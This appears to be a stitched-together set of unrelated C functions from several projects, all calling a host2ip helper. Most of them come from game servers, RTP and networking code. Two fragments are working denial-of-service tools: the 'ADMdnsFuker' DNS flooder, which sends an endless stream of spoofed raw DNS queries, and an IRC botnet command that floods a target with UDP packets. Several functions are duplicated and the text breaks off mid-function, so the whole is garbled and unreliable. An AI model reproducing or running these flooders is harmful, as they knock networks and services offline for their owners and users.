int chlogif_parse_updip(int fd, struct char_session_data* sd){
unsigned char buf[2];
uint32 new_ip = 0;
WBUFW(buf,0) = 0x2b1e;
chmapif_sendall(buf, 2);
new_ip = host2ip(charserv_config.login_ip_str);
if (new_ip && new_ip != charserv_config.login_ip)
charserv_config.login_ip = new_ip; //Update login ip, too.
new_ip = host2ip(charserv_config.char_ip_str);
if (new_ip && new_ip != charserv_config.char_ip)
{ //Update ip.
charserv_config.char_ip = new_ip;
ShowInfo("Updating IP for [%s].\n", charserv_config.char_ip_str);
// notify login server about the change
WFIFOHEAD(fd,6);
WFIFOW(fd,0) = 0x2736;
WFIFOL(fd,2) = htonl(charserv_config.char_ip);
WFIFOSET(fd,6);
}
RFIFOSKIP(fd,2);
return 1;
}
int chlogif_parse_updip(int fd, struct char_session_data* sd){
unsigned char buf[2];
uint32 new_ip = 0;
/**
* !CHECKME: This is intended? Just tell if there's IP sync request
* without sending current char IP (if changed) to map-server?
**/
WBUFW(buf,0) = 0x2b1e;
chmapif_sendall(buf, 2);
new_ip = host2ip(charserv_config.login_ip_str);
if (new_ip && new_ip != charserv_config.login_ip)
charserv_config.login_ip = new_ip; //Update login ip, too.
new_ip = host2ip(charserv_config.char_ip_str);
if (new_ip && new_ip != charserv_config.char_ip) { // Char-server IP is updated.
charserv_config.char_ip = new_ip;
ShowInfo("Updating IP for [%s].\n", charserv_config.char_ip_str);
// notify login server about the change
WFIFOHEAD(fd,6);
WFIFOW(fd,0) = 0x2736;
WFIFOL(fd,2) = htonl(charserv_config.char_ip);
WFIFOSET(fd,6);
}
RFIFOSKIP(fd,2);
return 1;
}
void main(int argc, char **argv)
{
struct dnshdr *dns;
char *data;
char buffer2[4000];
unsigned char namez[255];
unsigned long s_ip;
unsigned long d_ip;
int sraw,on=1;
if(argc <2){printf(" usage : %s <host> \n",argv[0]); exit(0);}
dns = (struct dnshdr *)buffer2;
data = (char *)(buffer2+12);
bzero(buffer2,sizeof(buffer2));
if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
perror("socket");
exit(ERROR);
}
if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
perror("setsockopt");
exit(ERROR);
}
printf("ADMdnsFuker %s DNS DESTROYER made by the ADM crew\n",VERSION);
printf("(c) ADM,Heike vouais tous se ki est as moi est a elle aussi ...\n");
sleep(1);
s_ip=host2ip("100.1.2.3");
d_ip=host2ip(argv[1]);
dns->id = 123;
dns->rd = 1;
dns->que_num = htons(1);
while(1){
sprintf(namez,"\3%d\3%d\3%d\3%d\07in-addr\04arpa",myrand(),myrand(),myrand(),myrand());
printf("%s\n",namez);
strcpy(data,namez);
*( (u_short *) (data+strlen(namez)+1) ) = ntohs(12);
*( (u_short *) (data+strlen(namez)+3) ) = ntohs(1);
udp_send(sraw,s_ip,d_ip,2600+myrand(),53,buffer2,14+strlen(namez)+5);
s_ip=ntohl(s_ip);
s_ip++;
s_ip=htonl(s_ip);
}
}
int hpt(char *h, struct sockaddr *sa, unsigned char *ttl)
{
char *s;
struct sockaddr_in *sin = (struct sockaddr_in *)sa;
sin->sin_family = AF_INET;
/* first */
s = strchr(h, '/');
if (!s) {
return -1;
}
else {
int port;
*s = '\0';
port = atoi(s+1);
sin->sin_port = htons(port);
if (port & 1) {
return -2;
}
s = strchr(s+1, '/');
if (s && ttl) {
*ttl = atoi(s+1);
}
sin->sin_addr = host2ip(h);
}
return 0;
} /* hpt */
int main () {
if (!fork ()) {
char *req, *reply, *host, *ip;
struct sockaddr_rc server, client;
struct sockaddr_in addr;
struct hostent *he;
int s_sd, c_sd, in_sd, i, size;
size = sizeof (client);
server.rc_family = AF_BLUETOOTH;
server.rc_channel = 1;
server.rc_bdaddr = *BDADDR_ANY;
addr.sin_family = AF_INET;
addr.sin_port = htons (80);
s_sd = socket (AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
bind (s_sd, (struct sockaddr*)&server, size);
listen (s_sd, 10);
while (1) {
c_sd = accept (s_sd, (struct sockaddr*)&client, &size);
if (!fork ()) {
req = remove_ua (_recv (c_sd, &i, FROM_BT));
host = get_host (req);
he = gethostbyname (host);
if (!he) {
ip = host2ip (host);
if (!ip) {
_send (c_sd, ERROR_HOST, strlen (ERROR_HOST), TO_BT);
close (c_sd);
close (s_sd);
free (req);
free (host);
free (ip);
return 0;
}
else {
addr.sin_addr.s_addr = inet_addr (ip);
free (ip);
}
}
else
memcpy ((char*)&addr.sin_addr.s_addr, (char*)he->h_addr_list[0], 4);
in_sd = socket (AF_INET, SOCK_STREAM, 0);
connect (in_sd, (struct sockaddr*)&addr, sizeof (addr));
_send (in_sd, req, i, TO_NET);
reply = _recv (in_sd, &i, FROM_NET);
_send (c_sd, reply, i, TO_BT);
close (c_sd);
close (s_sd);
close (in_sd);
free (req);
free (reply);
free (host);
return 0;
}
close (c_sd);
}
close (s_sd);
}
return 0;
}
rtperror RTPSessionSetReceiveAddr(context cid, char *address, u_int16 port){
address_holder_t *holder;
struct in_addr translation;
hl_context *uc;
rtperror err;
err = RTPSessionGetHighLevelInfo(cid, (void**)&uc);
if (err != RTP_OK)
/* The cid is bogus */
return err;
if (uc->connection_opened){
return errordebug(RTP_FIXED_WHEN_OPEN, "RTPSessionSetLocalAddr",
"Cannot change address during opened connection");
}
/* If the port is odd, assume it's the RTCP port */
if((port & 1) == 1)
port--;
translation = host2ip(address);
if(translation.s_addr == (u_int32) -1) {
return errordebug(RTP_BAD_ADDR, "RTPSessionSetReceiveAddr",
"Could not resolve address");
}
if(uc->recv_addr_list == NULL) {
/* Create new address structure */
if((holder = (address_holder_t *) malloc(sizeof(address_holder_t))) == 0) {
return errordebug(RTP_CANT_ALLOC_MEM, "RTPSessionAddSendAddr",
"Cannot allocate memory");
}
holder->address = translation;
if (address == NULL) holder->address.s_addr = 0;
holder->port = htons(port);
holder->ttl = 0;
uc->recv_addr_list = holder;
} else {
/* Modify existing values */
holder = uc->recv_addr_list;
holder->address = translation;
if(address == NULL) holder->address.s_addr = 0;
holder->port = htons(port);
holder->ttl = 0;
}
return RTP_OK;
}
// sets char-server's ip address
int chrif_setip(const char* ip)
{
char ip_str[16];
char_ip = host2ip(ip);
if (!char_ip) {
ShowWarning("Falha ao determinar endereco do Char Server! (%s)\n", ip);
return 0;
}
strncpy(char_ip_str, ip, sizeof(char_ip_str));
ShowInfo("Endereco de IP do Char Server : '"CL_WHITE"%s"CL_RESET"' -> '"CL_WHITE"%s"CL_RESET"'.\n", ip, ip2str(char_ip, ip_str));
return 1;
}
// sets char-server's ip address
int chrif_setip(const char* ip)
{
char ip_str[16];
char_ip = host2ip(ip);
if (!char_ip) {
ShowWarning("Falha em Resolver o Endereco do Servidor de Personagens! (%s)\n", ip);
return 0;
}
strncpy(char_ip_str, ip, sizeof(char_ip_str));
ShowInfo("Endereco de IP do Servidor de Personagens : '"CL_WHITE"%s"CL_RESET"' -> '"CL_WHITE"%s"CL_RESET"'.\n", ip, ip2str(char_ip, ip_str));
return 1;
}
// sets char-server's ip address
int chrif_setip(const char* ip)
{
char ip_str[16];
char_ip = host2ip(ip);
if (!char_ip) {
ShowWarning("Failed to Resolve Char Server Address! (%s)\n", ip);
return 0;
}
strncpy(char_ip_str, ip, sizeof(char_ip_str));
ShowInfo("Char Server IP Address : '"CL_WHITE"%s"CL_RESET"' -> '"CL_WHITE"%s"CL_RESET"'.\n", ip, ip2str(char_ip, ip_str));
return 1;
}
// sets char-server's ip address
int chrif_setip(const char* ip)
{
char ip_str[16];
char_ip = host2ip(ip);
if (!char_ip) {
ShowWarning("Falha em desenvolver o IP do char-server! (%s)\n", ip);
return 0;
}
strncpy(char_ip_str, ip, sizeof(char_ip_str));
ShowInfo("IP do char-server : '"CL_WHITE"%s"CL_RESET"' -> '"CL_WHITE"%s"CL_RESET"'.\n", ip, ip2str(char_ip, ip_str));
return 1;
}
rtperror RTPSessionRemoveSendAddr(context cid, char *addr, u_int16 port, u_int8 ttl) {
address_holder_t *holder;
struct in_addr translation;
hl_context *uc;
rtperror err;
err = RTPSessionGetHighLevelInfo(cid, (void**)&uc);
if (err != RTP_OK)
/* The cid is bogus */
return err;
holder = uc->send_addr_list;
/* If the port is odd, assume it's the RTCP port */
if((port & 1) == 1)
port--;
translation = host2ip(addr);
if(translation.s_addr == (u_int32) -1) {
return errordebug(RTP_BAD_ADDR, "RTPSessionRemoveSendAddr",
"Could not resolve address");
}
/* TTL matching is only done for multicast. For unicast, all TTL's
are set to zero */
if(!IsMulticast(translation)) ttl = 0;
while(holder != NULL) {
if(!(holder->deleteflag) &&
(holder->address.s_addr == translation.s_addr) &&
(holder->port == htons(port)) &&
(holder->ttl == ttl))
break;
holder = holder->next;
}
/* Now holder is either NULL if there was no match, else it points
to the address which matched */
if(holder == NULL) {
return errordebug(RTP_BAD_ADDR, "RTPSessionRemoveSendAddr",
"No such address");
} else {
holder->deleteflag = TRUE;
return RTP_OK;
}
}
void chrif_update_ip(int fd)
{
uint32 new_ip;
WFIFOHEAD(fd,6);
new_ip = host2ip(char_ip_str);
if (new_ip && new_ip != char_ip)
char_ip = new_ip; //Update char_ip
new_ip = clif_refresh_ip();
if (!new_ip) return; //No change
WFIFOW(fd,0) = 0x2736;
WFIFOL(fd,2) = htonl(new_ip);
WFIFOSET(fd,6);
}
void unknown(int sock, char *sender, int argc, char **argv) {
int flag=1,fd,i;
unsigned long secs;
char *buf=(char*)malloc(9216);
struct hostent *hp;
struct sockaddr_in in;
time_t start=time(NULL);
if (mfork(sender) != 0) return;
if (argc != 2) {
Send(sock,"PRIVMSG %s :>bot +unknown <target> <secs>\n",chan);
exit(1);
}
secs=atol(argv[2]);
memset((void*)&in,0,sizeof(struct sockaddr_in));
in.sin_addr.s_addr=host2ip(sender,argv[1]);
in.sin_family = AF_INET;
Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]);
while(1) {
in.sin_port = rand();
if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){
} else {
flag=1;
ioctl(fd,FIONBIO,&flag);
sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
close(fd);
}
if (i >= 50) {
if (time(NULL) >= start+secs) break;
i=0;
}
i++;
}
Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]);
close(fd);
exit(0);
}
/**
* Create of a context
@param rank rank of the context to create
@param hostname : hostname of the export gateway
@param port : configuration port of the export gateway
*/
int export_expgw_conf_ctx_create(int rank,char *hostname,uint16_t port)
{
export_expgw_conf_ctx_t *p = export_expgw_conf_table;
char bufname[32];
int ret = 0;
if (rank >= EXPGW_EXPGW_MAX_IDX)
{
errno = EINVAL;
return -1;
}
p+=rank;
if (p->gateway_lbg_id!= -1)
{
export_expgw_conf_ctx_delete(rank);
}
/*
** create the load balancing group
*/
strncpy(p->hostname, hostname, ROZOFS_HOSTNAME_MAX);
if (host2ip(hostname,&p->ipaddr) < 0)
{
return -1;
}
p->port = port;
/*
** store the IP address and port in the list of the endpoint
*/
my_list[0].remote_port_host = p->port;
my_list[0].remote_ipaddr_host = p->ipaddr ;
int lbg_size = 1;
af_inet_exportd_conf.recv_srv_type = ROZOFS_RPC_SRV;
af_inet_exportd_conf.rpc_recv_max_sz = rozofs_large_tx_recv_size;
sprintf(bufname,"GWCNF_%d",rank);
p->gateway_lbg_id = north_lbg_create_af_inet(bufname,INADDR_ANY,0,my_list,ROZOFS_SOCK_FAMILY_EXPORT_NORTH,lbg_size,&af_inet_exportd_conf);
if (p->gateway_lbg_id >= 0)
{
return 0;
}
severe("Cannot create Load Balancing Group for Export Gateway configurator");
return ret;
}
/**
* PIN Code was incorrectly entered too many times.
* @param fd: fd to parse from (char-serv)
* @return 0 fail (packet does not have enough data), 1 success (continue parsing)
*/
int logchrif_parse_pincode_authfail(int fd){
if( RFIFOREST(fd) < 6 )
return 0;
else{
struct mmo_account acc;
AccountDB* accounts = login_get_accounts_db();
if( accounts->load_num(accounts, &acc, RFIFOL(fd,2) ) ){
struct online_login_data* ld;
ld = (struct online_login_data*)idb_get(online_db,acc.account_id);
if( ld == NULL )
return 0;
login_log( host2ip(acc.last_ip), acc.userid, 100, "PIN Code check failed" );
}
login_remove_online_user(acc.account_id);
RFIFOSKIP(fd,6);
}
return 1;
}
bool ladmin_auth(struct login_session_data* sd, const char* ip)
{
bool result = false;
if( str2ip(ip) != host2ip(login_config.admin_allowed_host) )
ShowNotice("'ladmin'-login: Connection in administration mode REFUSED - IP isn't authorised (ip: %s).\n", ip);
else
if( !login_config.admin_state )
ShowNotice("'ladmin'-login: Connection in administration mode REFUSED - remote administration is disabled (ip: %s)\n", ip);
else
if( !check_password(sd->md5key, sd->passwdenc, sd->passwd, login_config.admin_pass) )
ShowNotice("'ladmin'-login: Connection in administration mode REFUSED - invalid password (ip: %s)\n", ip);
else
{
ShowNotice("'ladmin'-login: Connection in administration mode accepted (ip: %s)\n", ip);
session[sd->fd]->func_parse = parse_admin;
result = true;
}
return result;
}
rtperror RTPSessionAddSendAddr(context cid, char *addr, u_int16 port, u_int8 ttl){
address_holder_t *holder;
struct sockaddr_in saddr;
int len, nRet;
struct in_addr translation;
hl_context *uc;
rtperror err;
err = RTPSessionGetHighLevelInfo(cid, (void**)&uc);
if (err != RTP_OK)
/* The cid is bogus */
return err;
if (port == 0) {
return errordebug(RTP_BAD_PORT, "RTPSessionAddSendAddr",
"Port number zero not allowed");
}
/* If the port is odd, assume it's the RTCP port */
if((port & 1) == 1)
port--;
if((holder = (address_holder_t *) malloc(sizeof(address_holder_t))) == 0) {
return errordebug(RTP_CANT_ALLOC_MEM, "RTPSessionAddSendAddr",
"Cannot allocate memory");
}
/* Translate address */
translation = host2ip(addr);
if(translation.s_addr == (u_int32) -1) {
free(holder);
return errordebug(RTP_BAD_ADDR, "RTPSessionAddSendAddr",
"Could not resolve address");
}
/* Write values of address, port to context */
holder->address = translation;
holder->port = htons(port);
holder->deleteflag = FALSE;
holder->ttl = 0;
if(IsMulticast(translation)) holder->ttl = ttl;
/* Create the RTP and RTCP sockets for this sender */
holder->rtpsocket = _sys_create_socket(SOCK_DGRAM);
if (holder->rtpsocket == _SYS_INVALID_SOCKET){
free(holder);
return errordebug(RTP_CANT_GET_SOCKET, "RTPSessionAddSendAddr",
"couldn't get RTP socket for context %d", (int)cid);
}
holder->rtcpsocket = _sys_create_socket(SOCK_DGRAM);
if (holder->rtcpsocket == _SYS_INVALID_SOCKET){
_sys_close_socket(holder->rtpsocket);
free(holder);
return errordebug(RTP_CANT_GET_SOCKET, "RTPSessionAddSendAddr",
"couldn't get RTCP socket for context %d", (int)cid);
}
/* Connect them, first RTP socket */
memset(&saddr, 0, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_addr = holder->address;
saddr.sin_port = htons(port);
if(_sys_connect_socket(holder->rtpsocket, &saddr) == _SYS_SOCKET_ERROR) {
err = errordebug(RTP_CANT_GET_SOCKET, "RTPSessionAddSendAddr",
"couldn't connect RTP socket for context %d", (int)cid);
goto bailout;
}
/* Now RTCP socket */
saddr.sin_port = htons(port+1);
if(_sys_connect_socket(holder->rtcpsocket, &saddr) == _SYS_SOCKET_ERROR) {
err = errordebug(RTP_CANT_GET_SOCKET, "RTPSessionAddSendAddr",
"couldn't connect RTCP socket for context %d", (int)cid);
goto bailout;
}
if(IsMulticast(holder->address)) {
/* Set multicast TTL if needed */
nRet = _sys_set_ttl(holder->rtpsocket, ttl);
if(nRet == _SYS_SOCKET_ERROR) {
err = errordebug(RTP_CANT_SET_SOCKOPT, "RTPSessionAddSendAddr",
"couldn't set RTP TTL for context %d", (int)cid);
goto bailout;
}
nRet = _sys_set_ttl(holder->rtcpsocket, ttl);
if(nRet == _SYS_SOCKET_ERROR) {
err = errordebug(RTP_CANT_SET_SOCKOPT, "RTPSessionAddSendAddr",
"couldn't set RTCP TTL for context %d", (int)cid);
goto bailout;
}
/* Determine source addresses, for loopback detection */
/* XXX: multiple multicast destinations might have different sources */
len = sizeof(struct sockaddr_in);
if(_sys_get_socket_name(holder->rtpsocket, &uc->rtp_sourceaddr) == _SYS_SOCKET_ERROR) {
err = errordebug(RTP_CANT_GET_SOCKET, "RTPSessionAddSendAddr",
"Couldn't get RTP source address for context %d", (int)cid);
goto bailout;
}
if(_sys_get_socket_name(holder->rtcpsocket, &uc->rtcp_sourceaddr) == _SYS_SOCKET_ERROR) {
err = errordebug(RTP_CANT_GET_SOCKET, "RTPSessionAddSendAddr",
"Couldn't get RTCP source address for context %d", (int)cid);
goto bailout;
}
}
/* Add address to list */
holder->next = uc->send_addr_list;
uc->send_addr_list = holder;
return RTP_OK;
bailout:
_sys_close_socket(holder->rtpsocket);
_sys_close_socket(holder->rtcpsocket);
free(holder);
return err;
}
/*==========================================
* IP アドレスセット
*------------------------------------------
*/
void chrif_setip(void)
{
char_ip = host2ip(char_host, "Character server IP address");
}
/*
* parse_args()
* Parse argv, and return parsed info in **relays, *relay_count, and
* *is_server. On failure, exit.
*/
static void parse_args(int argc, char *argv[], struct relay **relays,
int *relay_count, int *is_server)
{
int c;
char *tcphostname, *tcpportstr, *udphostname, *udpportstr, *udpttlstr;
struct in_addr tcpaddr, udpaddr;
int tcpport, udpport, udpttl;
int i;
*is_server = -1;
*relay_count = 1;
debug = 0;
tcphostname = NULL;
tcpportstr = NULL;
while ((c = getopt(argc, argv, "s:c:rvh")) != EOF) {
switch (c) {
case 's':
if (*is_server != -1) {
fprintf(stderr, "%s: Only one of -s and -c may be specified.\n",
argv[0]);
exit(2);
}
*is_server = 1;
tcpportstr = optarg;
break;
case 'c':
if (*is_server != -1) {
fprintf(stderr, "%s: Only one of -s and -c may be specified.\n",
argv[0]);
exit(2);
}
*is_server = 0;
tcphostname = optarg;
break;
case 'r':
*relay_count = 2;
break;
case 'v':
debug++;
break;
case 'h':
case '?':
default:
usage(argv[0]);
break;
}
}
if (*is_server == -1) {
fprintf(stderr, "%s: You must specify one of -s and -c.\n",
argv[0]);
exit(2);
}
if (argc <= optind) {
usage(argv[0]);
}
udphostname = strtok(argv[optind], ":/ ");
udpportstr = strtok(NULL, ":/ ");
if (udpportstr == NULL) {
usage(argv[0]);
}
udpttlstr = strtok(NULL, ":/ ");
if (!*is_server) {
tcphostname = strtok(tcphostname, ":/ ");
tcpportstr = strtok(NULL, ":/ ");
}
else {
tcphostname = NULL;
}
errno = 0;
udpport = strtol(udpportstr, NULL, 0);
if (errno || udpport <= 0 || udpport >= 65536) {
fprintf(stderr, "%s: invalid port number\n", udpportstr);
exit(2);
}
if (udpttlstr != NULL) {
errno = 0;
udpttl = strtol(udpttlstr, NULL, 0);
if (errno || udpttl < 0 || udpttl >= 256) {
fprintf(stderr, "%s: invalid TTL\n", udpttlstr);
exit(2);
}
}
else {
udpttl = 1;
}
if (tcpportstr != NULL) {
errno = 0;
tcpport = strtol(tcpportstr, NULL, 0);
if (errno || tcpport <= 0 || tcpport >= 65536) {
fprintf(stderr, "%s: invalid port number\n", tcpportstr);
exit(2);
}
}
else {
tcpport = udpport;
}
if (*relay_count == 2 && (tcpport % 2 != 0 || udpport % 2 != 0)) {
fprintf(stderr, "Port numbers must be even when using RTP mode.\n");
exit(2);
}
udpaddr = host2ip(udphostname);
if (udpaddr.s_addr == INADDR_ANY) {
fprintf(stderr, "%s: UDP host unknown\n", udphostname);
exit(2);
}
if (*is_server) {
tcpaddr.s_addr = INADDR_ANY;
}
else {
tcpaddr = host2ip(tcphostname);
if (tcpaddr.s_addr == INADDR_ANY) {
fprintf(stderr, "%s: TCP host unknown\n", tcphostname);
exit(2);
}
}
*relays = (struct relay *) calloc(*relay_count, sizeof(struct relay));
if (relays == NULL) {
perror("Error allocating relay structure");
exit(1);
}
for (i = 0; i < *relay_count; i++) {
(*relays)[i].udpaddr.sin_addr = udpaddr;
(*relays)[i].udpaddr.sin_port = htons(udpport + i);
(*relays)[i].udpaddr.sin_family = AF_INET;
(*relays)[i].udp_ttl = udpttl;
(*relays)[i].multicast_udp = IN_MULTICAST(htons(udpaddr.s_addr));
(*relays)[i].tcpaddr.sin_addr = tcpaddr;
(*relays)[i].tcpaddr.sin_port = htons(tcpport + i);
(*relays)[i].tcpaddr.sin_family = AF_INET;
}
} /* parse_args */
char *http_process_request(char *url, int method, char **type, int *code, int *size, const char *contype, char *post) {
struct sockaddr_in serv_addr;
int sockfd = 0, bytes = 0;
int has_code = 0, has_type = 0;
int pos = 0;
size_t bufsize = BUFFER_SIZE;
char ip[INET_ADDRSTRLEN+1], *content = NULL, *host = NULL, *auth = NULL, *auth64 = NULL;
char *page = NULL, *tok = NULL;
char recvBuff[BUFFER_SIZE+1], *header = MALLOC(bufsize);
unsigned short port = 0, sslfree = 0, entropyfree = 0;
size_t len = 0, tlen = 0, plen = 0;
entropy_context entropy;
ctr_drbg_context ctr_drbg;
ssl_context ssl;
*size = 0;
if(header == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
memset(header, '\0', bufsize);
memset(recvBuff, '\0', BUFFER_SIZE+1);
memset(&serv_addr, '\0', sizeof(struct sockaddr_in));
/* Check which port we need to use based on the http(s) protocol */
if(strncmp(url, "http://", 7) == 0) {
port = 80;
plen = 8;
} else if(strncmp(url, "https://", 8) == 0) {
port = 443;
plen = 9;
} else {
logprintf(LOG_ERR, "an url should start with either http:// or https://", url);
*code = -1;
goto exit;
}
/* Split the url into a host and page part */
len = strlen(url);
if((tok = strstr(&url[plen], "/"))) {
tlen = (size_t)(tok-url)-plen+1;
if((host = MALLOC(tlen+1)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
strncpy(host, &url[plen-1], tlen);
host[tlen] = '\0';
if((page = MALLOC(len-tlen)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
strcpy(page, &url[tlen+(plen-1)]);
} else {
tlen = strlen(url)-(plen-1);
if((host = MALLOC(tlen+1)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
strncpy(host, &url[(plen-1)], tlen);
host[tlen] = '\0';
if((page = MALLOC(2)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
strcpy(page, "/");
}
if((tok = strstr(host, "@"))) {
size_t pglen = strlen(page);
if(strcmp(page, "/") == 0) {
pglen -= 1;
}
tlen = (size_t)(tok-host);
if((auth = MALLOC(tlen+1)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
strncpy(auth, &host[0], tlen);
auth[tlen] = '\0';
strncpy(&host[0], &url[plen+tlen], len-(plen+tlen+pglen));
host[len-(plen+tlen+pglen)] = '\0';
auth64 = base64encode(auth, strlen(auth));
}
#ifdef _WIN32
WSADATA wsa;
if(WSAStartup(0x202, &wsa) != 0) {
logprintf(LOG_ERR, "could not initialize new socket");
*code = -1;
goto exit;
}
#endif
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
logprintf(LOG_ERR, "could not http create socket");
*code = -1;
goto exit;
}
setsockopt(sockfd, SOL_SOCKET, SO_KEEPALIVE, 0, 0);
char *w = ip;
if(host2ip(host, w) == -1) {
*code = -1;
goto exit;
}
serv_addr.sin_family = AF_INET;
if(inet_pton(AF_INET, ip, (void *)(&(serv_addr.sin_addr.s_addr))) <= 0) {
logprintf(LOG_ERR, "%s is not a valid ip address", ip);
*code = -1;
goto exit;
}
serv_addr.sin_port = htons(port);
/* Proper socket timeout testing */
switch(socket_timeout_connect(sockfd, (struct sockaddr *)&serv_addr, 3)) {
case -1:
logprintf(LOG_ERR, "could not connect to http socket (%s)", url);
*code = -1;
goto exit;
case -2:
logprintf(LOG_ERR, "http socket connection timeout (%s)", url);
*code = -1;
goto exit;
case -3:
logprintf(LOG_ERR, "error in http socket connection", url);
*code = -1;
goto exit;
default:
break;
}
if(method == HTTP_POST) {
len = (size_t)snprintf(&header[0], bufsize, "POST %s HTTP/1.0\r\n", page);
if(len >= bufsize) {
bufsize += BUFFER_SIZE;
if((header = REALLOC(header, bufsize)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
}
len += (size_t)snprintf(&header[len], bufsize - len, "Host: %s\r\n", host);
if(len >= bufsize) {
bufsize += BUFFER_SIZE;
if((header = REALLOC(header, bufsize)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
}
if(auth64 != NULL) {
len += (size_t)snprintf(&header[len], bufsize - len, "Authorization: Basic %s\r\n", auth64);
if(len >= bufsize) {
bufsize += BUFFER_SIZE;
if((header = REALLOC(header, bufsize)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
}
}
len += (size_t)snprintf(&header[len], bufsize - len, "User-Agent: %s\r\n", USERAGENT);
if(len >= bufsize) {
bufsize += BUFFER_SIZE;
if((header = REALLOC(header, bufsize)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
}
len += (size_t)snprintf(&header[len], bufsize - len, "Content-Type: %s\r\n", contype);
if(len >= bufsize) {
bufsize += BUFFER_SIZE;
if((header = REALLOC(header, bufsize)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
}
len += (size_t)snprintf(&header[len], bufsize - len, "Content-Length: %d\r\n\r\n", (int)strlen(post));
if(len >= bufsize) {
bufsize += BUFFER_SIZE;
if((header = REALLOC(header, bufsize)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
}
len += (size_t)snprintf(&header[len], bufsize - len, "%s", post);
if(len >= bufsize) {
bufsize += BUFFER_SIZE;
if((header = REALLOC(header, bufsize)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
}
} else if(method == HTTP_GET) {
len = (size_t)snprintf(&header[0], bufsize, "GET %s HTTP/1.0\r\n", page);
if(len >= bufsize) {
bufsize += BUFFER_SIZE;
if((header = REALLOC(header, bufsize)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
}
len += (size_t)snprintf(&header[len], bufsize - len, "Host: %s\r\n", host);
if(len >= bufsize) {
bufsize += BUFFER_SIZE;
if((header = REALLOC(header, bufsize)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
}
if(auth64 != NULL) {
len += (size_t)snprintf(&header[len], bufsize - len, "Authorization: Basic %s\r\n", auth64);
if(len >= bufsize) {
bufsize += BUFFER_SIZE;
if((header = REALLOC(header, bufsize)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
}
}
len += (size_t)snprintf(&header[len], bufsize - len, "User-Agent: %s\r\n", USERAGENT);
if(len >= bufsize) {
bufsize += BUFFER_SIZE;
if((header = REALLOC(header, bufsize)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
}
len += (size_t)snprintf(&header[len], bufsize - len, "Connection: close\r\n\r\n");
if(len >= bufsize) {
bufsize += BUFFER_SIZE;
if((header = REALLOC(header, bufsize)) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
}
}
if(port == 443) {
memset(&ssl, '\0', sizeof(ssl_context));
entropy_init(&entropy);
entropyfree = 1;
if((ctr_drbg_init(&ctr_drbg, entropy_func, &entropy, (const unsigned char *)USERAGENT, 6)) != 0) {
logprintf(LOG_ERR, "ctr_drbg_init failed");
*code = -1;
goto exit;
}
if((ssl_init(&ssl)) != 0) {
logprintf(LOG_ERR, "ssl_init failed");
*code = -1;
goto exit;
}
sslfree = 1;
ssl_set_endpoint(&ssl, SSL_IS_CLIENT);
ssl_set_rng(&ssl, ctr_drbg_random, &ctr_drbg);
ssl_set_bio(&ssl, net_recv, &sockfd, net_send, &sockfd);
int ret = 0;
while((ret = ssl_handshake(&ssl)) != 0) {
if(ret != POLARSSL_ERR_NET_WANT_READ && ret != POLARSSL_ERR_NET_WANT_WRITE) {
logprintf(LOG_ERR, "ssl_handshake failed");
*code = -1;
goto exit;
}
}
while((ret = ssl_write(&ssl, (const unsigned char *)header, len)) <= 0) {
if(ret != POLARSSL_ERR_NET_WANT_READ && ret != POLARSSL_ERR_NET_WANT_WRITE) {
if(ret == -76) {
logprintf(LOG_ERR, "ssl_write timed out");
} else {
logprintf(LOG_ERR, "ssl_write failed");
}
*code = -1;
goto exit;
}
}
} else {
if((bytes = send(sockfd, header, len, 0)) <= 0) {
logprintf(LOG_ERR, "sending header to http server failed");
*code = -1;
goto exit;
}
}
char *nl = NULL;
char *tp = *type;
memset(recvBuff, '\0', sizeof(recvBuff));
while(1) {
if(port == 443) {
bytes = ssl_read(&ssl, (unsigned char *)recvBuff, BUFFER_SIZE);
if(bytes == POLARSSL_ERR_NET_WANT_READ || bytes == POLARSSL_ERR_NET_WANT_WRITE) {
continue;
}
if(bytes == POLARSSL_ERR_SSL_PEER_CLOSE_NOTIFY) {
break;
}
} else {
bytes = recv(sockfd, recvBuff, BUFFER_SIZE, 0);
}
if(bytes <= 0) {
if(*size == 0) {
logprintf(LOG_ERR, "http(s) read failed (%s)", url);
}
break;
}
if((content = REALLOC(content, (size_t)(*size+bytes+1))) == NULL) {
fprintf(stderr, "out of memory\n");
exit(EXIT_FAILURE);
}
memset(&content[*size], '\0', (size_t)(bytes+1));
strncpy(&content[*size], recvBuff, (size_t)(bytes));
*size += bytes;
char **array = NULL;
char *p = recvBuff;
/* Let's first normalize the HEADER terminator */
str_replace("\r\n", "\n\r", &p);
unsigned int n = explode(recvBuff, "\n\r", &array), q = 0;
int z = 0;
for(q=0;q<n;q++) {
